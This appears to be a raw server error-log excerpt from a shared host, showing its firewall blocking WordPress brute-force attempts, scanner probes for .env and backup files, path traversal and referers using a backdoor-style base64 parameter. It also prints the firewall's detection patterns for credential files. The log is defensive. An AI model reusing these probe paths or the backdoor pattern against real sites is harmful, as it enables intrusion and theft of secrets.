lookup of 186.141.92.190.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "colorbook.net"] [uri "/wp-login.php"] [unique_id "ai3yudyTkdrNlD40tSGjqgAAQGw"] [Sat Jun 13 18:15:53.530384 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:53.530799 2026] [access_compat:error] [pid 646876:tid 646967] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:53.611536 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.48:29243] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:53.611991 2026] [access_compat:error] [pid 648189:tid 648279] [remote 57.141.14.48:29243] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:53.742455 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.33:48017] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:53.742866 2026] [access_compat:error] [pid 646876:tid 646918] [remote 57.141.14.33:48017] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:53.767755 2026] [security2:error] [pid 648189:tid 648261] [remote 103.127.30.137:45456] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yuVWSojQL4F7upKBXwwAA-ic"] [Sat Jun 13 18:15:53.782641 2026] [security2:error] [pid 648189:tid 648383] [client 185.177.72.9:14906] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/.env.sample.php"] [unique_id "ai3yuVWSojQL4F7upKBXxQAAAKM"] [Sat Jun 13 18:15:53.872599 2026] [security2:error] [pid 646876:tid 646898] [remote 17.22.253.127:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 127.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yudyTkdrNlD40tSGjtgAAKhM"] [Sat Jun 13 18:15:54.024617 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:54.025093 2026] [access_compat:error] [pid 646876:tid 646962] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:54.030585 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.56:37732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:54.031084 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.56:37732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:54.319346 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.8:32427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:54.319826 2026] [access_compat:error] [pid 648189:tid 648274] [remote 57.141.14.8:32427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:54.458304 2026] [access_compat:error] [pid 646876:tid 646968] [remote 57.141.14.67:47361] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:54.458764 2026] [access_compat:error] [pid 646876:tid 646968] [remote 57.141.14.67:47361] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:54.558184 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:54.558611 2026] [access_compat:error] [pid 646876:tid 646903] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:54.595488 2026] [access_compat:error] [pid 648189:tid 648318] [remote 74.7.227.22:39634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:15:54.595936 2026] [access_compat:error] [pid 648189:tid 648318] [remote 74.7.227.22:39634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:15:54.632624 2026] [security2:error] [pid 648189:tid 648320] [remote 103.127.30.137:45456] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yulWSojQL4F7upKBX5wAA5mE"], referer: https://djstardao.com/wp-login.php [Sat Jun 13 18:15:54.648839 2026] [security2:error] [pid 648189:tid 648429] [client 185.177.72.9:47900] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/env.bak"] [unique_id "ai3yulWSojQL4F7upKBX6QAAANA"] [Sat Jun 13 18:15:54.783621 2026] [security2:error] [pid 648189:tid 648420] [client 185.177.72.9:47900] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/env.php"] [unique_id "ai3yulWSojQL4F7upKBX6wAAAMc"] [Sat Jun 13 18:15:55.056456 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:55.056952 2026] [access_compat:error] [pid 646876:tid 646965] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:55.203800 2026] [security2:error] [pid 648189:tid 648415] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?i)(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)|u(?:221[56]|002f)|%32(?:%46|F)|e0%80%af|1u|5c)|\\\\/))(?:%(?:2(?:(?:52)?e|%45)|(?:e0%8|c)0%ae|u(?:002e|2024)|%32(?:%45|E))|\\\\.){2}(?:\\\\x5c|(?:%(?:2(?:5(?:2f|5c)|%46|f)|c(?:0%(?:9v|af)|1%1c)| ..." at ARGS:file_name. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "198"] [id "340007"] [rev "47"] [msg "Atomicorp.com WAF Rules: Generic Path Recursion denied"] [data "/../,ARGS:file_name"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/pms"] [unique_id "ai3yu1WSojQL4F7upKBX-QAAAMI"] [Sat Jun 13 18:15:55.335156 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.76:56101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:55.335537 2026] [security2:error] [pid 648189:tid 648355] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/k8s/.env"] [unique_id "ai3yu1WSojQL4F7upKBX_QAAAIc"] [Sat Jun 13 18:15:55.335580 2026] [access_compat:error] [pid 648189:tid 648317] [remote 57.141.14.76:56101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:55.468447 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/config/.env"] [unique_id "ai3yu1WSojQL4F7upKBX_wAAAP0"] [Sat Jun 13 18:15:55.580181 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL21vdXNlMg== [Sat Jun 13 18:15:55.580667 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL21vdXNlMg== [Sat Jun 13 18:15:55.601471 2026] [security2:error] [pid 648189:tid 648432] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/app/.env"] [unique_id "ai3yu1WSojQL4F7upKBYBQAAANM"] [Sat Jun 13 18:15:55.646288 2026] [access_compat:error] [pid 648189:tid 648341] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:55.646742 2026] [access_compat:error] [pid 648189:tid 648341] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:15:55.690139 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.15:55709] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:55.690397 2026] [access_compat:error] [pid 648189:tid 648328] [remote 57.141.14.15:55709] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:55.723759 2026] [security2:error] [pid 648189:tid 648244] [remote 17.22.245.100:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yu1WSojQL4F7upKBYDAABBBc"] [Sat Jun 13 18:15:55.734993 2026] [security2:error] [pid 648189:tid 648422] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/api/.env"] [unique_id "ai3yu1WSojQL4F7upKBYDQAAAMk"] [Sat Jun 13 18:15:55.795621 2026] [security2:error] [pid 646876:tid 646939] [remote 57.141.14.99:38142] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yu9yTkdrNlD40tSGj9AAASDw"], referer: https://nelsonfarmstn.com/product/tuscan-sun/?add_to_wishlist=389&_wpnonce=8d149de2a5&add-to-cart=1257 [Sat Jun 13 18:15:55.835673 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.22:38914] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:55.836075 2026] [access_compat:error] [pid 648189:tid 648331] [remote 57.141.14.22:38914] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:55.867752 2026] [security2:error] [pid 648189:tid 648452] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backend/.env"] [unique_id "ai3yu1WSojQL4F7upKBYFAAAAOY"] [Sat Jun 13 18:15:55.895088 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.105:59588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:55.895523 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.105:59588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:56.008180 2026] [security2:error] [pid 648189:tid 648443] [client 185.177.72.9:47902] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/src/.env"] [unique_id "ai3yu1WSojQL4F7upKBYHgAAAN0"] [Sat Jun 13 18:15:56.063460 2026] [security2:error] [pid 646876:tid 646935] [remote 82.165.2.98:44928] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.2.165.82.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dentiststudygroup.com"] [uri "/wp-login.php"] [unique_id "ai3yvNyTkdrNlD40tSGj_AAAfzg"] [Sat Jun 13 18:15:56.107846 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 